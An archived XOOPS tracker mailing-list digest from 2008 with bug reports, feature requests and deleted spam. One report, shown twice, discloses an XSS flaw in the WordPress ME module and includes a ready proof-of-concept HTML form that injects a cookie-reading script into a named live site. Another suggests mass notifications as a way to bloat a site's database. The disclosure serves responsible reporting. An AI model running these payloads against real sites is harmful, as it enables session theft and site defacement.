xoops-trackers Mailing List for XOOPS Web Application System

Bugs item #2006730, was opened at 2008-06-30 08:34
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=2006730&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Core -  Core
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 8
Private: No
Submitted By: beckmi (beckmi)
Assigned to: D.J. (phppp)
Summary: Bug in Image Manager 2.0.18.1

Initial Comment:
http://tinyurl.com/6c4v25

A bug in the Manager of images of Xoops was discovered by Dugris.  It relates to the management of permissions and potentially concerns all versions 2.0.x Xoops

If you grant administrative rights to your members for all or part of Manager images, it has de facto same privileges as the webmaster, ie ALL rights.

Specifically, a member could ill-intentioned:
- Completely erase the contents of your image bank
- Create new categories
- Put the content they want, without restriction whatsoever (other than those set by your host) 

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=2006730&group_id=41586

Bugs item #1991998, was opened at 2008-06-12 09:25
Message generated for change (Settings changed) made by beckmi
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1991998&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Bandit. S. (bandit-x)
>Assigned to: D.J. (phppp)
Summary: Frameworks not being able to set addons_limit_module to zero

Initial Comment:
Frameworks/transfer/bar.transfer.php
Current code.
$limit = empty($GLOBALS["addons_limit_module"]) ? 3 : $GLOBALS["addons_limit_module"];

its preventing us from showing 0 (zero) items in transfer list. since zero is empty, we should use isset.



----------------------------------------------------------------------

Comment By: Bandit. S. (bandit-x)
Date: 2008-06-12 09:26

Message:
Logged In: YES 
user_id=1426285
Originator: YES

XOOPS_FRAMEWORKS_VERSION", "1.22

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1991998&group_id=41586

Bugs item #2003508, was opened at 2008-06-26 17:38
Message generated for change (Settings changed) made by beckmi
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=2003508&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Modules -  Modules
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
>Assigned to: D.J. (phppp)
Summary: Vulnerabilities in WordPress ME for XOOPS

Initial Comment:
Hello developers of XOOPS!
 
I want to warn you about security vulnerabilities in WordPress ME 0.3.3 module for XOOPS. I already wrote to plugin developer about them, but because his contact form not working and guessed email can not exist, I recommend you to fix holes by yourself. Besides, you have no contact emails at site too (so I'll send letter to guessed email), and also you have no contact form, so I'll use XOOPS Core Bug Reporting Procedures form (http://sourceforge.net/tracker/?func=add&group_id=41586&atid=430840).
 
These are Cross-Site Scripting vulnerabilities.
 
I found these holes at one web site which are using this module (at http://www.xoops-magazine.com).
 
XSS:
 
POST query at page http://site/modules/wordpress/wp-comments-post.php
 
"><script>alert(document.cookie)</script>
In fields: author, comment, private_key, back.
 
Exploit:
 
XOOPS XSS.html
 
<html>
<head>
<title>XOOPS XSS exploit (C) 2008 MustLive. http://websecurity.com.ua</title>
</head>
<body >
<form name="hack" action="http://www.xoops-magazine.com/modules/wordpress/wp-comments-post.php" method="post">
<input type="hidden" name="author" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="email" value="ma...@ma..." />
<input type="hidden" name="comment" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="comment_post_ID" value="92" />
<input type="hidden" name="post_from_xoops" value="1" />
<input type="hidden" name="private_key" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="back" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>
 
You need to fix them up.
 
There is no information at www.xoops-magazine.com about version of the module, but possibly vulnerable versions are WordPress ME 0.3.3 and previous versions.
 
Attend to security of all of yours web sites, web software and to security-audit.
 
I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/2202/). For now I don't post any concrete information about vulnerabilities, in order to inform developer first and give him time to fix them.
 
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=2003508&group_id=41586

Bugs item #2003508, was opened at 2008-06-26 21:38
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=2003508&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Modules -  Modules
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: Vulnerabilities in WordPress ME for XOOPS

Initial Comment:
Hello developers of XOOPS!
 
I want to warn you about security vulnerabilities in WordPress ME 0.3.3 module for XOOPS. I already wrote to plugin developer about them, but because his contact form not working and guessed email can not exist, I recommend you to fix holes by yourself. Besides, you have no contact emails at site too (so I'll send letter to guessed email), and also you have no contact form, so I'll use XOOPS Core Bug Reporting Procedures form (http://sourceforge.net/tracker/?func=add&group_id=41586&atid=430840).
 
These are Cross-Site Scripting vulnerabilities.
 
I found these holes at one web site which are using this module (at http://www.xoops-magazine.com).
 
XSS:
 
POST query at page http://site/modules/wordpress/wp-comments-post.php
 
"><script>alert(document.cookie)</script>
In fields: author, comment, private_key, back.
 
Exploit:
 
XOOPS XSS.html
 
<html>
<head>
<title>XOOPS XSS exploit (C) 2008 MustLive. http://websecurity.com.ua</title>
</head>
<body >
<form name="hack" action="http://www.xoops-magazine.com/modules/wordpress/wp-comments-post.php" method="post">
<input type="hidden" name="author" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="email" value="ma...@ma..." />
<input type="hidden" name="comment" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="comment_post_ID" value="92" />
<input type="hidden" name="post_from_xoops" value="1" />
<input type="hidden" name="private_key" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="back" value='"><script>alert(document.cookie)</script>' />
</form>
</body>
</html>
 
You need to fix them up.
 
There is no information at www.xoops-magazine.com about version of the module, but possibly vulnerable versions are WordPress ME 0.3.3 and previous versions.
 
Attend to security of all of yours web sites, web software and to security-audit.
 
I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/2202/). For now I don't post any concrete information about vulnerabilities, in order to inform developer first and give him time to fix them.
 
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=2003508&group_id=41586

Bugs item #1994051, was opened at 2008-06-14 14:47
Message generated for change (Settings changed) made by beckmi
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1994051&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Core -  Core
Group: XOOPS 1.3.x
>Status: Deleted
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: goodwork ldr

Initial Comment:

die besten <a href=http://spielautomaten.beepworld.de>online Spielautomaten</a> and <a href=http://freenet-homepage.de/geldspielautomaten/>gratis Spielautomaten</a> at die besten casinos

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1994051&group_id=41586

Bugs item #1994051, was opened at 2008-06-14 11:47
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1994051&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Core -  Core
Group: XOOPS 1.3.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: goodwork ldr

Initial Comment:

die besten <a href=http://spielautomaten.beepworld.de>online Spielautomaten</a> and <a href=http://freenet-homepage.de/geldspielautomaten/>gratis Spielautomaten</a> at die besten casinos

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1994051&group_id=41586

Bugs item #1991998, was opened at 2008-06-12 08:25
Message generated for change (Comment added) made by bandit-x
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1991998&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Bandit. S. (bandit-x)
Assigned to: Nobody/Anonymous (nobody)
Summary: Frameworks not being able to set addons_limit_module to zero

Initial Comment:
Frameworks/transfer/bar.transfer.php
Current code.
$limit = empty($GLOBALS["addons_limit_module"]) ? 3 : $GLOBALS["addons_limit_module"];

its preventing us from showing 0 (zero) items in transfer list. since zero is empty, we should use isset.



----------------------------------------------------------------------

>Comment By: Bandit. S. (bandit-x)
Date: 2008-06-12 08:26

Message:
Logged In: YES 
user_id=1426285
Originator: YES

XOOPS_FRAMEWORKS_VERSION", "1.22

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1991998&group_id=41586

Bugs item #1991998, was opened at 2008-06-12 08:25
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1991998&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Bandit. S. (bandit-x)
Assigned to: Nobody/Anonymous (nobody)
Summary: Frameworks not being able to set addons_limit_module to zero

Initial Comment:
Frameworks/transfer/bar.transfer.php
Current code.
$limit = empty($GLOBALS["addons_limit_module"]) ? 3 : $GLOBALS["addons_limit_module"];

its preventing us from showing 0 (zero) items in transfer list. since zero is empty, we should use isset.



----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1991998&group_id=41586

Feature Requests item #1991274, was opened at 2008-06-11 16:57
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430843&aid=1991274&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: beckmi (beckmi)
Assigned to: Nobody/Anonymous (nobody)
Summary: Increasing the usability of XOOPS comments: one TIP and one 

Initial Comment:
http://www.xoops.org/modules/newbb/viewtopic.php?post_id=290742#forumpost290742

------------------
From: http://www.howtodude.net/howto/view.article.php/281

Aim:
Increase the usability of your XOOPS site by showing a "Please login to comment" message below your articles to people who are not logged in on your site.
How to add a "Please log in to comment" message to a XOOPS site:

Back up your XOOPS site  

Find the template of articles for the module that you use by browsing in Admin > System Admin > Templates. Click on Edit to open your template.

Insert something like this: 
<{if !$xoops_isuser}>
<div style="text-align: center; padding: 3px; margin:3px;">
Please <a href="http://www.example.com/user.php">login</a> to comment!
</div>
<{/if}>


I tested it in the article module by inserting the lines above in the template article_article.html , just before:
<div style="text-align: center; padding: 3px; margin:3px;">
<{$commentsnav}>
<{$lang_notice}>
</div>

Note that I used the same div to make it fit in the layout. Of course you can adapt the message to something that fits to your site.

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430843&aid=1991274&group_id=41586

Bugs item #1989474, was opened at 2008-06-10 02:45
Message generated for change (Settings changed) made by beckmi
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1989474&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Core -  Core
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
>Assigned to: D.J. (phppp)
Summary: Notification bombing

Initial Comment:
I don't know if anyone had some thoughts about this, but it seems to important point to ME. It is not really a bug, but a weak point in XOOPS. I think it could be quite easy to bring down MySQL because of the database size (my amateur view!).

If you want to harm any XOOPS site just add notification for everything (news, forum etc.). This will take some time of course, but makes the database bigger and bigger.

Notifications should be limited in core. Especially important for the zombies that will never visit the site again, but have their notifications running. In my time as owner of myxoops.org I had to clear PMs from time to time, because of the notifications.

Comments?

frankblack
fra...@01...

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1989474&group_id=41586

Bugs item #1990299, was opened at 2008-06-10 20:04
Message generated for change (Settings changed) made by beckmi
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1990299&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Modules -  Modules
Group: XOOPS 2.0.x
>Status: Deleted
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: VrVqCBwl

Initial Comment:
comment6, <a href="http://www.titaniuexport.kiev.ua">titanium wire</a>, [url="http://www.titaniuexport.kiev.ua"]titanium wire[/url], http://www.titaniuexport.kiev.ua titanium wire,  8-)), 

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1990299&group_id=41586

Bugs item #1990299, was opened at 2008-06-10 17:04
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1990299&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Modules -  Modules
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: VrVqCBwl

Initial Comment:
comment6, <a href="http://www.titaniuexport.kiev.ua">titanium wire</a>, [url="http://www.titaniuexport.kiev.ua"]titanium wire[/url], http://www.titaniuexport.kiev.ua titanium wire,  8-)), 

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1990299&group_id=41586

Bugs item #1983908, was opened at 2008-06-03 16:57
Message generated for change (Settings changed) made by beckmi
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1983908&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: XOOPS 2.0.x
>Status: Deleted
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: ewrfgthjk

Initial Comment:



----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1983908&group_id=41586

Feature Requests item #1989501, was opened at 2008-06-10 03:36
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430843&aid=1989501&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Core
Group: XOOPS 2.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: beckmi (beckmi)
Assigned to: D.J. (phppp)
Summary: Stop Comment-Spam and Email-Harvesting

Initial Comment:
See:
http://www.xoops.org/modules/newbb/viewtopic.php?post_id=290629#forumpost290629

I finally got tired of removing comment spam.
I registered for a free Account on http://www.projecthoneypot.org.

Then I downloaded this class:
http://projecthoneypot.org/board/read.php?f=10&i=179&t=179

and added this code to mainfile.php

----------
include 'httpbl.php';
 $h=new http_bl('*********'); // No, i will not post my Key here.
        $ip=$_SERVER['REMOTE_ADDR']; 
        $r=$h->query($ip);

        if($r>=2){
                echo ("This IP is reported as a known Spammer. Please refer to http://www.projecthoneypot.org to change your status.<br>");
                die ( "Found a " . $h->type_txt ." (".$h->type_num .") with a score of ". $h->score . ", last seen since ". $h->days . " days");
        }
}
---------------

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430843&aid=1989501&group_id=41586

Bugs item #1989474, was opened at 2008-06-09 23:45
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1989474&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: Core -  Core
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: Notification bombing

Initial Comment:
I don't know if anyone had some thoughts about this, but it seems to important point to ME. It is not really a bug, but a weak point in XOOPS. I think it could be quite easy to bring down MySQL because of the database size (my amateur view!).

If you want to harm any XOOPS site just add notification for everything (news, forum etc.). This will take some time of course, but makes the database bigger and bigger.

Notifications should be limited in core. Especially important for the zombies that will never visit the site again, but have their notifications running. In my time as owner of myxoops.org I had to clear PMs from time to time, because of the notifications.

Comments?

frankblack
fra...@01...

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1989474&group_id=41586

Bugs item #1988039, was opened at 2008-06-08 11:27
Message generated for change (Comment added) made by rebroad
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1988039&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: does not accept some valid email addresses

Initial Comment:
Upon trying to register some email address, for example, an email address containing the plus symbol, xoops reports that the email address is invalid. According to SMTP RFCs plus symbols, along with others, are valid.

----------------------------------------------------------------------

Comment By: R E Broadley (rebroad)
Date: 2008-06-08 11:37

Message:
Logged In: YES 
user_id=1254951
Originator: NO

Can confirm this problem exists. See http://www.uk-poly.net/register.php
as an example where plus symbol is not accepted. Unsure of version of XOOPS
however.

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1988039&group_id=41586

Bugs item #1988039, was opened at 2008-06-08 03:27
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1988039&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: does not accept some valid email addresses

Initial Comment:
Upon trying to register some email address, for example, an email address containing the plus symbol, xoops reports that the email address is invalid. According to SMTP RFCs plus symbols, along with others, are valid.

----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1988039&group_id=41586

Bugs item #1983908, was opened at 2008-06-03 13:57
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1983908&group_id=41586

Please note that this message will contain a full copy of the comment thread,
including the initial issue submission, for this request,
not just the latest update.
Category: None
Group: XOOPS 2.0.x
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Nobody/Anonymous (nobody)
Summary: ewrfgthjk

Initial Comment:



----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=430840&aid=1983908&group_id=41586